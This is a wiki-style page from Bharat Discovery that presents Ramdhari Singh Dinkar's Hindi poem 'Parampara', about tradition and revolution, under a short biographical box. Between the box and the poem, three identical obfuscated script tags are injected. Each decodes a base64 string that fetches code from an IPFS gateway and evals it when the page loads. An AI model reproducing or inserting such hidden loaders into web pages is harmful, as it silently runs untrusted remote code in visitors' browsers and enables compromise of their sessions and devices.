परंपरा -रामधारी सिंह दिनकर

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 14:01, 6 मार्च 2012 का अवतरण (Text replace - " सन " to " सन् ")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
परंपरा -रामधारी सिंह दिनकर
रामधारी सिंह दिनकर
कवि रामधारी सिंह दिनकर
जन्म 23 सितंबर, सन् 1908
जन्म स्थान सिमरिया, ज़िला मुंगेर (बिहार)
मृत्यु 24 अप्रैल, सन् 1974
मृत्यु स्थान चेन्नई, तमिलनाडु
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
रामधारी सिंह दिनकर की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

परंपरा को अंधी लाठी से मत पीटो।
उसमें बहुत कुछ है,
जो जीवित है,
जीवनदायक है,
जैसे भी हो,
ध्वसं से बचा रखने लायक़ है।

पानी का छिछला होकर
समतल में दौड़ना,
यह क्रांति का नाम है।
लेकिन घाट बाँधकर
पानी को गहरा बनाना
यह परंपरा का नाम है।

पंरपरा और क्रांति में
संघर्ष चलने दो।
आग लगी है, तो
सूखी डालो को जलने दो।

मगर जो डालें
आज भी हरी है,
उन पर तो तरस खाओ।
मेरी एक बात तुम मान लो।

लोगों की आस्था के आधार
टूट जाते हैं,
उखड़े हुए पेड़ो के समान
वे अपनी ज़डो से छूट जाते हैं।

परंपरा जब लुप्त होती है
सभ्यता अकेलेपन के
दर्द में मरती है।
कलमें लगना जानते हो,
तो जरुर लगाओ,
मगर ऐसी कि फलों में
अपनी मिट्टी का स्वाद रहे।

और ये बात याद रहे
परंपरा चीनी नहीं मधु है।
वह न तो हिन्दू है, ना मुस्लिम....

संबंधित लेख